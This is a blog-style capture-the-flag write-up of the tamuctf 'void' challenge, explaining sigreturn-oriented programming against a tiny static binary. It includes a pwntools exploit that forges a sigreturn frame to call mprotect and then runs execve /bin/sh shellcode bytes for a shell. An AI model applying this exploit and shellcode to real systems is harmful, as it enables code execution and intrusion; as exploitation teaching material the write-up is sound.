F4zi's blog

Abusing Sigreturn oriented programming (SROP)

In this article, i’ll explain and teach how to approach a pwn challenge when you can write many bytes to stack and no gadgets are available. Void from tamuctf was a classic and refreshing SROP binary-exploitation challenge, had fun solving it!

alt text

Approaching the challenge

In this challenge, we got 2 binaries: void, void.c

void: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=7fd635b160836aff1b92af6f203e3b1f160f54cc, not stripped
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

View the provided code

void main() {
    // read(0, rsp, 2000)
    asm
    (
        "mov $0, %rax;"
        "mov $0, %rdi;"
        "mov %rsp, %rsi;"
        "mov $2000, %rdx;"
        "syscall;"
    );
}

int _start() {
  main();
    asm(
      "mov $60, %rax;" // exit
      "mov $0, %rdi;"
      "syscall;"
    );
}         

Looks like the binary is fairly small, and only includes few instructions and gadgets, it loads 0 into rax, 0 into rdi, rsp into rsi, and 2000 to rdx -

read(fd=0, buf=stack, count=2000);

We can write 2000 bytes straight to stack, control rbp, rip, and previous frames. But, what can we do? NX is enabled, we can’t jump to shellcode on stack, we also cant do ret2libc because there are no gadgets or leaks that I can think of.

That leads us to SROP, You can view a more detailed explanation about srop here: (Credit to Authors)

TLDR:

alt text

Cool! If we can copy the pattern of the signal handler (using sigreturn syscall) and build a fake sigframe, we can trick the kernel into loading the frame into the context (including registers) and get control of the code flow without using rop gadgets (except for syscall and read gadget)

After we gain control over the context and registers, we can jump to the syscall gadget with our own arguments, for example calling execve with /bin/sh, or making a certain memory rwx and jumping to shellcode

Building the exploit

In this post, I will show the exploit using mprotect and jumping to shellcode, although you can exploit this challenge using other methods.

Firstly, we have to divide our payload into 3 steps, we can’t write 200+ frame bytes and jump to syscall because read overwrites rax with how many bytes were read.

We can start by overwriting the new instruction pointer and writing the sigreturn frame, we can jump back to the read gadget in main, and then write 0xf bytes to set rax=0xf - sigreturn syscall id.

syscall_ret = 0x401018
read = 0x401000
writable = 0x400000
new_ret = 0x400018 # Program Entrypoint

payload = p64(read)
payload += b"A" * 8 # padding

frame = SigreturnFrame()
frame.rax = 0xa
frame.rdi = writable
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = new_ret
frame.rip = syscall_ret

payload += bytes(frame)
p.send(payload)

We send the frame, overwrite rip with read gadget.

Now we have to change rax=0xf

payload = p64(syscall_ret) + bytes(frame)[:7]
p.send(payload)

We send exactly 0xf of previous payload, to set rax value.

# http://shell-storm.org/shellcode/files/shellcode-905.php
shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
shellcode += b"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
shellcode += b"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

payload = p64(new_ret+8)
payload += shellcode

p.send(payload)

p.interactive()

We change rsp to the rwx section, then we jump back to program entry and trigger the “bof” and write shellcode to the rwx section, and overwrite rip with it’s address to jump to it.

No gadgets, no problem.